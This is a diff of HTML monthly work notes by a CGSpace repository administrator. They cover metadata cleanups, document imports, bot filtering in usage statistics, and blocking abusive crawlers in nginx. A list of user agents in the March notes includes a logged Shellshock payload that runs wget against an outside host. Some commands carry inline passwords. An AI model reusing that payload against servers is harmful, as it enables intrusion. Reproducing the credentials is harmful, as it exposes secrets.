2022-02-24

+
    +
  • Update some audience metadata on CGSpace:
    • +
+
dspace=# UPDATE metadatavalue SET text_value='Academics' WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=144 AND text_value = 'Academicians';
+UPDATE 354
+dspace=# UPDATE metadatavalue SET text_value='Scientists' WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=144 AND text_value = 'SCIENTISTS';
+UPDATE 2
+

2022-02-25

+
    +
  • A few days ago Gaia sent me her notes on the third batch of TAC/ICW documents (items 401–700 in the spreadsheet) +
      +
    • I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:
      • +
    +
    • +
+
or(
+isNotNull(value.match('405')),
+isNotNull(value.match('410')),
+isNotNull(value.match('412')),
+isNotNull(value.match('414')),
+isNotNull(value.match('419')),
+isNotNull(value.match('436')),
+isNotNull(value.match('448')),
+isNotNull(value.match('449')),
+isNotNull(value.match('450')),
+...
+isNotNull(value.match('699'))
+)
+
    +
  • Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported them on DSpace Test:
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace import --add --eperson=fuuu@umm.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-02-25-tac-batch3-401to700.map
+

2022-02-26

+
    +
  • Upgrade CGSpace (linode18) to Ubuntu 20.04
    • +
  • Start a full AReS harvest
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2022-03/index.html b/docs/2022-03/index.html new file mode 100644 index 000000000..c49b678aa --- /dev/null +++ b/docs/2022-03/index.html @@ -0,0 +1,530 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + March, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

March, 2022

+

+ + in + Notes + + +

+
+

2022-03-01

+
    +
  • Send Gaia the last batch of potential duplicates for items 701 to 980:
    • +
+
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
+$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
+$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
+$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
+

2022-03-04

+
    +
  • Looking over the CGSpace Solr statistics from 2022-02 +
      +
    • I see a few new bots, though once I expanded my search for user agents with “www” in the name I found so many more!
      • +
    • Here are some of the more prevalent or weird ones: +
        +
      • axios/0.21.1
        • +
      • Mozilla/5.0 (compatible; Faveeo/1.0; +http://www.faveeo.com)
        • +
      • Nutraspace/Nutch-1.2 (www.nutraspace.com)
        • +
      • Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com; webmaster@moreover.com)
        • +
      • Mozilla/5.0 (compatible; Exploratodo/1.0; +http://www.exploratodo.com
        • +
      • Mozilla/5.0 (compatible; GroupHigh/1.0; +http://www.grouphigh.com/)
        • +
      • Crowsnest/0.5 (+http://www.crowsnest.tv/)
        • +
      • Mozilla/5.0/Firefox/42.0 - nbertaupete95(at)gmail.com
        • +
      • metha/0.2.27
        • +
      • ZaloPC-win32-24v454
        • +
      • Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x
        • +
      • ZoteroTranslationServer/WMF (mailto:noc@wikimedia.org)
        • +
      • FullStoryBot/1.0 (+https://www.fullstory.com)
        • +
      • Link Validity Check From: http://www.usgs.gov
        • +
      • OSPScraper (+https://www.opensyllabusproject.org)
        • +
      • () { :;}; /bin/bash -c "wget -O /tmp/bbb www.redel.net.br/1.php?id=3137382e37392e3138372e313832"
        • +
      +
      • +
    • I submitted a pull request to COUNTER-Robots with some of these
      • +
    +
    • +
  • I purged a bunch of hits from the stats using the check-spider-hits.sh script:
    • +
+
]$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p
+Purging 6 hits from scalaj-http in statistics
+Purging 5 hits from lua-resty-http in statistics
+Purging 9 hits from AHC in statistics
+Purging 7 hits from acebookexternalhit in statistics
+Purging 1011 hits from axios\/[0-9] in statistics
+Purging 2216 hits from Faveeo\/[0-9] in statistics
+Purging 1164 hits from Moreover\/[0-9] in statistics
+Purging 740 hits from Exploratodo\/[0-9] in statistics
+Purging 585 hits from GroupHigh\/[0-9] in statistics
+Purging 438 hits from Crowsnest\/[0-9] in statistics
+Purging 1326 hits from nbertaupete95 in statistics
+Purging 182 hits from metha\/[0-9] in statistics
+Purging 68 hits from ZaloPC-win32-24v454 in statistics
+Purging 1644 hits from Firefox\/x\.x in statistics
+Purging 678 hits from ZoteroTranslationServer in statistics
+Purging 27 hits from FullStoryBot in statistics
+Purging 26 hits from Link Validity Check in statistics
+Purging 26 hits from OSPScraper in statistics
+Purging 1 hits from 3137382e37392e3138372e313832 in statistics
+Purging 2755 hits from Nutch-[0-9] in statistics
+
+Total number of bot hits purged: 12914
+
    +
  • I added a few from that list to the local overrides in our DSpace while I wait for feedback from the COUNTER-Robots project
    • +
+

2022-03-05

+
    +
  • Start AReS harvest
    • +
+

2022-03-10

+
    +
  • A few days ago Gaia sent me her notes on the fourth batch of TAC/ICW documents (items 701–980 in the spreadsheet) +
      +
    • I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:
      • +
    +
    • +
+
or(
+isNotNull(value.match('707')),
+isNotNull(value.match('709')),
+isNotNull(value.match('710')),
+isNotNull(value.match('711')),
+isNotNull(value.match('713')),
+isNotNull(value.match('717')),
+isNotNull(value.match('718')),
+...
+isNotNull(value.match('821'))
+)
+
    +
  • Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported them on DSpace Test:
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace import --add --eperson=fuu@ummm.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-03-10-tac-batch4-701to980.map
+

2022-03-12

+
    +
  • Update all containers and rebuild OpenRXV on linode20:
    • +
+
$ docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | xargs -L1 docker pull
+$ docker-compose build
+
    +
  • Then run all system updates and reboot
    • +
  • Start a full harvest on AReS
    • +
+

2022-03-16

+
    +
  • Meeting with KM/KS group to start talking about the way forward for repositories and web publishing +
      +
    • We agreed to form a sub-group of the transition task team to put forward a recommendation for repository and web publishing
      • +
    +
    • +
+

2022-03-20

+
    +
  • Start a full harvest on AReS
    • +
+

2022-03-21

+
    +
  • Review a few submissions for Open Repositories 2022
    • +
  • Test one tentative DSpace 6.4 patch and give feedback on a few more that Hrafn missed
    • +
+

2022-03-22

+
    +
  • I accidentally dropped the PostgreSQL database on DSpace Test, forgetting that I had all the CGIAR CAS items there +
      +
    • I had been meaning to update my local database…
      • +
    +
    • +
  • I re-imported the CGIAR CAS documents to DSpace Test and generated the PDF thumbnails:
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace import --add --eperson=fuu@ma.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-03-22-tac-700.map
+$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace filter-media -p "ImageMagick PDF Thumbnail" -i 10568/118432
+
    +
  • On my local environment I decided to run the check-duplicates.py script one more time with all 700 items:
    • +
+
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/TAC_ICW_GreenCovers/2022-03-22-tac-700.csv > /tmp/tac.csv
+$ ./ilri/check-duplicates.py -i /tmp/tac.csv -db dspacetest -u dspacetest -p 'dom@in34sniper' -o /tmp/2022-03-22-tac-duplicates.csv
+$ csvcut -c id,filename ~/Downloads/2022-01-21-CGSpace-TAC-ICW.csv > /tmp/tac-filenames.csv
+$ csvjoin -c id /tmp/2022-03-22-tac-duplicates.csv /tmp/tac-filenames.csv > /tmp/tac-final-duplicates.csv
+
    +
  • I sent the resulting 76 items to Gaia to check
    • +
  • UptimeRobot said that CGSpace was down +
      +
    • I looked and found many locks belonging to the REST API application:
      • +
    +
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c | sort -n
+    301 dspaceWeb
+   2390 dspaceApi
+
    +
  • Looking at nginx’s logs, I found the top addresses making requests today:
    • +
+
# awk '{print $1}' /var/log/nginx/rest.log | sort | uniq -c | sort -h
+   1977 45.5.184.2
+   3167 70.32.90.172
+   4754 54.195.118.125
+   5411 205.186.128.185
+   6826 137.184.159.211
+
    +
  • 137.184.159.211 is on DigitalOcean using this user agent: GuzzleHttp/6.3.3 curl/7.81.0 PHP/7.4.28 +
      +
    • I blocked this IP in nginx and the load went down immediately
      • +
    +
    • +
  • 205.186.128.185 is on Media Temple, but it’s OK because it’s the CCAFS publications importer bot
    • +
  • 54.195.118.125 is on Amazon, but is also a CCAFS publications importer bot apparently (perhaps a test server)
    • +
  • 70.32.90.172 is on Media Temple and has no user agent
    • +
  • What is surprising to me is that we already have an nginx rule to return HTTP 403 for requests without a user agent +
      +
    • I verified it works as expected with an empty user agent:
      • +
    +
    • +
+
$ curl -H User-Agent:'' 'https://dspacetest.cgiar.org/rest/handle/10568/34799?expand=all' 
+Due to abuse we no longer permit requests without a user agent. Please specify a descriptive user agent, for example containing the word 'bot', if you are accessing the site programmatically. For more information see here: https://dspacetest.cgiar.org/page/about.
+
    +
  • I note that the nginx log shows ‘-’ for a request with an empty user agent, which would be indistinguishable from a request with a ‘-’, for example these were successful:
    • +
+
70.32.90.172 - - [22/Mar/2022:11:59:10 +0100] "GET /rest/handle/10568/34374?expand=all HTTP/1.0" 200 10671 "-" "-"
+70.32.90.172 - - [22/Mar/2022:11:59:14 +0100] "GET /rest/handle/10568/34795?expand=all HTTP/1.0" 200 11394 "-" "-"
+
    +
  • I can only assume that these requests used a literal ‘-’ so I will have to add an nginx rule to block those too
    • +
  • Otherwise, I see from my notes that 70.32.90.172 is the wle.cgiar.org REST API harvester… I should ask Macaroni Bros about that
    • +
+

2022-03-24

+
    +
  • Maria from ABC asked about a reporting discrepancy on AReS +
      +
    • I think it’s because the last harvest was over the weekend, and she was expecting to see items submitted this week
      • +
    +
    • +
  • Paola from ABC said they are decomissioning the server where many of their library PDFs are hosted +
      +
    • She asked if we can download them and upload them directly to CGSpace
      • +
    +
    • +
  • I re-created my local Artifactory container
    • +
  • I am doing a walkthrough of DSpace 7.3-SNAPSHOT to see how things are lately +
      +
    • One thing I realized is that OAI is no longer a standalone web application, it is part of the server app now: http://localhost:8080/server/oai/request?verb=Identify
      • +
    +
    • +
  • Deploy PostgreSQL 12 on CGSpace (linode18) but don’t switch over yet, because I see some users active +
      +
    • I did this on DSpace Test in 2022-02 so I just followed the same procedure
      • +
    • After that I ran all system updates and rebooted the server
      • +
    +
    • +
+

2022-03-25

+
    +
  • Looking at the PostgreSQL database size on CGSpace after the update yesterday:
    • +
+

PostgreSQL database size day

+
    +
  • The space saving in indexes of recent PostgreSQL releases is awesome!
    • +
  • Import a DSpace 6.x database dump from production into my local DSpace 7 database +
      +
    • I see I still the same errors I saw in 2021-04 when testing DSpace 7.0 beta 5
      • +
    • I had to delete some old migrations, as well as all Atmire ones first:
      • +
    +
    • +
+
localhost/dspace7= ☘ DELETE FROM schema_version WHERE version IN ('5.0.2017.09.25', '6.0.2017.01.30', '6.0.2017.09.25');
+localhost/dspace7= ☘ DELETE FROM schema_version WHERE description LIKE '%Atmire%' OR description LIKE '%CUA%' OR description LIKE '%cua%';
+
+

2022-03-26

+ +

2022-03-28

+
    +
  • Create another test account for Rafael from Bioversity-CIAT to submit some items to DSpace Test:
    • +
+
$ dspace user -a -m tip-submit@cgiar.org -g CIAT -s Submit -p 'fuuuuuuuu'
+
    +
  • I added the account to the Alliance Admins account, which is should allow him to submit to any Alliance collection +
      +
    • According to my notes from 2020-10 the account must be in the admin group in order to submit via the REST API
      • +
    +
    • +
  • Abenet and I noticed 1,735 items in CTA’s community that have the title “delete” +
      +
    • We asked Peter and he said we should delete them
      • +
    • I exported the CTA community metadata and used OpenRefine to filter all items with the “delete” title, then used the “expunge” bulkedit action to remove them
      • +
    +
    • +
  • I realized I forgot to clean up the old Let’s Encrypt certbot stuff after upgrading CGSpace (linode18) to Ubuntu 20.04 a few weeks ago +
      +
    • I also removed the pre-Ubuntu 20.04 Let’s Encrypt stuff from the Ansble infrastructure playbooks
      • +
    +
    • +
+

2022-03-29

+
    +
  • Gaia sent me her notes on the final review of duplicates of all TAC/ICW documents +
      +
    • I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:
      • +
    +
    • +
+
or(
+isNotNull(value.match('33')),
+isNotNull(value.match('179')),
+isNotNull(value.match('452')),
+isNotNull(value.match('489')),
+isNotNull(value.match('541')),
+isNotNull(value.match('568')),
+isNotNull(value.match('646')),
+isNotNull(value.match('889'))
+)
+
    +
  • Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported the 692 items on CGSpace, and generated the thumbnails:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"
+$ dspace import --add --eperson=umm@fuuu.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-03-29-cgiar-tac.map
+$ chrt -b 0 dspace filter-media -p "ImageMagick PDF Thumbnail" -i 10947/50
+
    +
  • After that I did some normalization on the cg.subject.system metadata and extracted a few dozen countries to the country field
    • +
  • Start a harvest on AReS
    • +
+

2022-03-30

+
    +
  • Yesterday Rafael from CIAT asked me to re-create his approver account on DSpace Test as well
    • +
+
$ dspace user -a -m tip-approve@cgiar.org -g Rafael -s Rodriguez -p 'fuuuu'
+
    +
  • I started looking into the request regarding the CIAT Library PDFs +
      +
    • There are over 4,000 links to PDFs hosted on that server in CGSpace metadata
      • +
    • The links seem to be down though! I emailed Paola to ask
      • +
    +
    • +
+

2022-03-31

+
    +
  • Switch DSpace Test (linode26) back to CMS GC so I can do some monitoring and evaluation of GC before switching to G1GC
    • +
  • I will do the following for CMS and G1GC on DSpace Test: +
      +
    • Wait for startup
      • +
    • Reload home page
      • +
    • Log in
      • +
    • Do a search for “livestock”
      • +
    • Click AGROVOC facet for livestock
      • +
    • dspace index-discovery -b
      • +
    • dspace-statistics-api index
      • +
    +
    • +
  • With CMS the Discovery Index took:
    • +
+
real    379m19.245s
+user    267m17.704s
+sys     4m2.937s
+
    +
  • Leroy from CIAT said that the CIAT Library server has security issues so was limited to internal traffic +
      +
    • I extracted a list of URLs from CGSpace to send him:
      • +
    +
    • +
+
localhost/dspacetest= ☘ \COPY (SELECT DISTINCT(text_value) FROM metadatavalue WHERE metadata_field_id=219 AND text_value ~ 'https?://ciat-library') to /tmp/2022-03-31-ciat-library-urls.csv WITH CSV HEADER;
+COPY 4552
+
    +
  • I did some checks and cleanups in OpenRefine because there are some values with “#page” etc +
      +
    • Once I sorted them there were only ~2,700, which means there are going to be almost two thousand items with duplicate PDFs
      • +
    • I suggested that we might want to handle those cases specially and extract the chapters or whatever page range since they are probably books
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2022-04/index.html b/docs/2022-04/index.html new file mode 100644 index 000000000..f61540195 --- /dev/null +++ b/docs/2022-04/index.html @@ -0,0 +1,563 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + April, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

April, 2022

+

+ + in + Notes + + +

+
+

2022-04-01

+
    +
  • I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday +
      +
    • The Discovery indexing took this long:
      • +
    +
    • +
+
real    334m33.625s
+user    227m51.331s
+sys     3m43.037s
+

2022-04-04

+
    +
  • Start a full harvest on AReS
    • +
  • Help Marianne with submit/approve access on a new collection on CGSpace
    • +
  • Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc)
    • +
  • Looking at the Solr statistics for 2022-03 on CGSpace +
      +
    • I see 54.229.218.204 on Amazon AWS made 49,000 requests, some of which with this user agent: Apache-HttpClient/4.5.9 (Java/1.8.0_322), and many others with a normal browser agent, so that’s fishy!
      • +
    • The DSpace agent pattern http.?agent seems to have caught the first ones, but I’ll purge the IP ones
      • +
    • I see 40.77.167.80 is Bing or MSN Bot, but using a normal browser user agent, and if I search Solr for dns:*msnbot* AND dns:*.msn.com. I see over 100,000, which is a problem I noticed a few months ago too…
      • +
    • I extracted the MSN Bot IPs from Solr using an IP facet, then used the check-spider-ip-hits.sh script to purge them
      • +
    +
    • +
+

2022-04-10

+
    +
  • Start a full harvest on AReS
    • +
+

2022-04-13

+
    +
  • UptimeRobot mailed to say that CGSpace was down +
      +
    • I looked and found the load at 44…
      • +
    +
    • +
  • There seem to be a lot of locks from the XMLUI:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c | sort -n
+   3173 dspaceWeb
+
    +
  • Looking at the top IPs in nginx’s access log one IP in particular stands out:
    • +
+
    941 66.249.66.222
+   1224 95.108.213.28
+   2074 157.90.209.76
+   3064 66.249.66.221
+  95743 185.192.69.15
+
    +
  • 185.192.69.15 is in the UK
    • +
  • I added a block for that IP in nginx and the load went down…
    • +
+

2022-04-16

+
    +
  • Start harvest on AReS
    • +
+

2022-04-18

+
    +
  • I woke up to several notices from UptimeRobot that CGSpace had gone down and up in the night (of course I’m on holiday out of the country for Easter) +
      +
    • I see there are many locks in use from the XMLUI:
      • +
    +
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c
+   8932 dspaceWeb
+
    +
  • Looking at the top IPs making requests it seems they are Yandex, bingbot, and Googlebot:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | awk '{print $1}' | sort | uniq -c | sort -h
+    752 69.162.124.231
+    759 66.249.64.213
+    864 66.249.66.222
+    905 2a01:4f8:221:f::2
+   1013 84.33.2.97
+   1201 157.55.39.159
+   1204 157.55.39.144
+   1209 157.55.39.102
+   1217 157.55.39.161
+   1252 207.46.13.177
+   1274 157.55.39.162
+   2553 66.249.66.221
+   2941 95.108.213.28
+
    +
  • One IP is using a stange user agent though:
    • +
+
84.33.2.97 - - [18/Apr/2022:00:20:38 +0200] "GET /bitstream/handle/10568/109581/Banana_Blomme%20_2020.pdf.jpg HTTP/1.1" 404 10890 "-" "SomeRandomText"
+
    +
  • Overall, it seems we had 17,000 unique IPs connecting in the last nine hours (currently 9:14AM and log file rolled over at 00:00):
    • +
+
# cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq | wc -l
+17314
+
    +
  • That’s a lot of unique IPs, and I see some patterns of IPs in China making ten to twenty requests each +
      +
    • The ISPs I’ve seen so far are ChinaNet and China Unicom
      • +
    +
    • +
  • I extracted all the IPs from today and resolved them:
    • +
+
# cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq > /tmp/2022-04-18-ips.txt
+$ ./ilri/resolve-addresses-geoip2.py -i /tmp/2022-04-18-ips.txt -o /tmp/2022-04-18-ips.csv
+
    +
  • The top ASNs by IP are:
    • +
+
$ csvcut -c 2 /tmp/2022-04-18-ips.csv | sed 1d | sort | uniq -c | sort -n | tail -n 10 
+    102 GOOGLE
+    139 Maxihost LTDA
+    165 AMAZON-02
+    393 "China Mobile Communications Group Co., Ltd."
+    473 AMAZON-AES
+    616 China Mobile communications corporation
+    642 M247 Ltd
+   2336 HostRoyale Technologies Pvt Ltd
+   4556 Chinanet
+   5527 CHINA UNICOM China169 Backbone
+$ csvcut -c 4 /tmp/2022-04-18-ips.csv | sed 1d | sort | uniq -c | sort -n | tail -n 10
+    139 262287
+    165 16509
+    180 204287
+    393 9808
+    473 14618
+    615 56041
+    642 9009
+   2156 203020
+   4556 4134
+   5527 4837
+
    +
  • I spot checked a few IPs from each of these and they are definitely just making bullshit requests to Discovery and HTML sitemap etc
    • +
  • I will download the IP blocks for each ASN except Google and Amazon and ban them
    • +
+
$ wget https://asn.ipinfo.app/api/text/nginx/AS4837 https://asn.ipinfo.app/api/text/nginx/AS4134 https://asn.ipinfo.app/api/text/nginx/AS203020 https://asn.ipinfo.app/api/text/nginx/AS9009 https://asn.ipinfo.app/api/text/nginx/AS56041 https://asn.ipinfo.app/api/text/nginx/AS9808
+$ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | sort | uniq | wc -l
+20296
+
    +
  • I extracted the IPv4 and IPv6 networks:
    • +
+
$ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | grep ":" | sort > /tmp/ipv6-networks.txt
+$ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | grep -v ":" | sort > /tmp/ipv4-networks.txt
+
    +
  • I suspect we need to aggregate these networks since they are so many and nftables doesn’t like it when they overlap:
    • +
+
$ wc -l /tmp/ipv4-networks.txt
+15464 /tmp/ipv4-networks.txt
+$ aggregate6 /tmp/ipv4-networks.txt | wc -l
+2781
+$ wc -l /tmp/ipv6-networks.txt             
+4833 /tmp/ipv6-networks.txt
+$ aggregate6 /tmp/ipv6-networks.txt | wc -l
+338
+
    +
  • I deployed these lists on CGSpace, ran all updates, and rebooted the server +
      +
    • This list is SURELY too broad because we will block legitimate users in China… but right now how can I discern?
      • +
    • Also, I need to purge the hits from these 14,000 IPs in Solr when I get time
      • +
    +
    • +
  • Looking back at the Munin graphs a few hours later I see this was indeed some kind of spike that was out of the ordinary:
    • +
+

PostgreSQL connections day +DSpace sessions day

+
    +
  • I used grepcidr with the aggregated network lists to extract IPs matching those networks from the nginx logs for the past day:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | awk '{print $1}' | sort -u > /tmp/ips.log
+# while read -r network; do grepcidr $network /tmp/ips.log >> /tmp/ipv4-ips.txt; done < /tmp/ipv4-networks-aggregated.txt
+# while read -r network; do grepcidr $network /tmp/ips.log >> /tmp/ipv6-ips.txt; done < /tmp/ipv6-networks-aggregated.txt
+# wc -l /tmp/ipv4-ips.txt  
+15313 /tmp/ipv4-ips.txt
+# wc -l /tmp/ipv6-ips.txt 
+19 /tmp/ipv6-ips.txt
+
    +
  • Then I purged them from Solr using the check-spider-ip-hits.sh:
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ipv4-ips.txt -p
+

2022-04-23

+
    +
  • A handful of spider user agents that I identified were merged into COUNTER-Robots so I updated the ILRI override in our DSpace and regenerated the example file that contains most patterns +
      +
    • I updated CGSpace, then ran all system updates and rebooted the host
      • +
    • I also ran dspace cleanup -v to prune the database
      • +
    +
    • +
+

2022-04-24

+
    +
  • Start a harvest on AReS
    • +
+

2022-04-25

+
    +
  • Looking at the countries on AReS I decided to collect a list to remind Jacquie at WorldFish again about how many incorrect ones they have +
      +
    • There are about sixty incorrect ones, some of which I can correct via the value mappings on AReS, but most I can’t
      • +
    • I set up value mappings for seventeen countries, then sent another sixty or so to Jacquie and Salem to hopefully delete
      • +
    +
    • +
  • I notice we have over 1,000 items with region Africa South of Sahara +
      +
    • I am surprised to see these because we did a mass migration to Sub-Saharan Africa in 2020-10 when we aligned to UN M.49
      • +
    • Oh! It seems I used a capital O in Of!
      • +
    • This is curious, I see we missed East Asia and Northern America, because those are still in our list, but UN M.49 uses Eastern Asia and Northern America… I will have to raise that with Peter and Abenet later
      • +
    • For now I will just re-run my fixes:
      • +
    +
    • +
+
$ cat /tmp/regions.csv
+cg.coverage.region,correct
+East Africa,Eastern Africa
+West Africa,Western Africa
+Southeast Asia,South-eastern Asia
+South Asia,Southern Asia
+Africa South of Sahara,Sub-Saharan Africa
+North Africa,Northern Africa
+West Asia,Western Asia
+$ ./ilri/fix-metadata-values.py -i /tmp/regions.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.region -m 227 -t correct
+
    +
  • Then I started a new harvest on AReS
    • +
+

2022-04-27

+
    +
  • I woke up to many up down notices for CGSpace from UptimeRobot +
      +
    • The server has load 111.0… sigh.
      • +
    +
    • +
  • According to Grafana it seems to have started at 4:00 AM
    • +
+

Grafana load

+
    +
  • There are a metric fuck ton of database locks from the XMLUI:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c
+    128 dspaceApi
+  16890 dspaceWeb
+
    +
  • As for the server logs, I don’t see many IPs connecting today:
    • +
+
# cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq | wc -l
+2924
+
    +
  • But there appear to be some IPs making many requests:
    • +
+
# cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -h
+...
+    345 207.46.13.53
+    646 66.249.66.222
+    678 54.90.79.112
+   1529 136.243.148.249
+   1797 54.175.8.110
+   2304 174.129.118.171
+   2523 66.249.66.221
+   2632 52.73.204.196
+   2667 54.174.240.122
+   5206 35.172.193.232
+   5646 35.153.131.101
+   6373 3.85.92.145
+   7383 34.227.10.4
+   8330 100.24.63.172
+   8342 34.236.36.176
+   8369 44.200.190.111
+   8371 3.238.116.153
+   8391 18.232.101.158
+   8631 3.239.81.247
+   8634 54.82.125.225
+
    +
  • 54.82.125.225, 3.239.81.247, 18.232.101.158, 3.238.116.153, 44.200.190.111, 34.236.36.176, 100.24.63.172, 3.85.92.145, 35.153.131.101, 35.172.193.232, 54.174.240.122, 52.73.204.196, 174.129.118.171, 54.175.8.110, and 54.90.79.112 are all on Amazon and using this normal-looking user agent:
    • +
+
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.3
+
    +
  • None of these hosts are re-using their DSpace session ID so they are definitely not normal browsers as they are claiming:
    • +
+
$ grep 54.82.125.225 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
+5760
+$ grep 3.239.81.247 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
+6053
+$ grep 18.232.101.158 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
+5841
+$ grep 3.238.116.153 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
+5887
+$ grep 44.200.190.111 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
+5899
+...
+
    +
  • And we can see a massive spike in sessions in Munin:
    • +
+

Grafana load

+
    +
  • I see the following IPs using that user agent today:
    • +
+
# grep 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -h
+    678 54.90.79.112
+   1797 54.175.8.110
+   2697 174.129.118.171
+   2765 52.73.204.196
+   3072 54.174.240.122
+   5206 35.172.193.232
+   5646 35.153.131.101
+   6783 3.85.92.145
+   7763 34.227.10.4
+   8738 100.24.63.172
+   8748 34.236.36.176
+   8787 3.238.116.153
+   8794 18.232.101.158
+   8806 44.200.190.111
+   9021 54.82.125.225
+   9027 3.239.81.247
+
    +
  • I added those IPs to the firewall and then purged their hits from Solr:
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips.txt -p
+Purging 6024 hits from 100.24.63.172 in statistics
+Purging 1719 hits from 174.129.118.171 in statistics
+Purging 5972 hits from 18.232.101.158 in statistics
+Purging 6053 hits from 3.238.116.153 in statistics
+Purging 6228 hits from 3.239.81.247 in statistics
+Purging 5305 hits from 34.227.10.4 in statistics
+Purging 6002 hits from 34.236.36.176 in statistics
+Purging 3908 hits from 35.153.131.101 in statistics
+Purging 3692 hits from 35.172.193.232 in statistics
+Purging 4525 hits from 3.85.92.145 in statistics
+Purging 6048 hits from 44.200.190.111 in statistics
+Purging 1942 hits from 52.73.204.196 in statistics
+Purging 1944 hits from 54.174.240.122 in statistics
+Purging 1264 hits from 54.175.8.110 in statistics
+Purging 6117 hits from 54.82.125.225 in statistics
+Purging 486 hits from 54.90.79.112 in statistics
+
+Total number of bot hits purged: 67229
+
    +
  • Then I created a CSV with these IPs and reported them to AbuseIPDB.com:
    • +
+
$ cat /tmp/ips.csv
+IP,Categories,ReportDate,Comment
+100.24.63.172,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+174.129.118.171,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+18.232.101.158,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+3.238.116.153,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
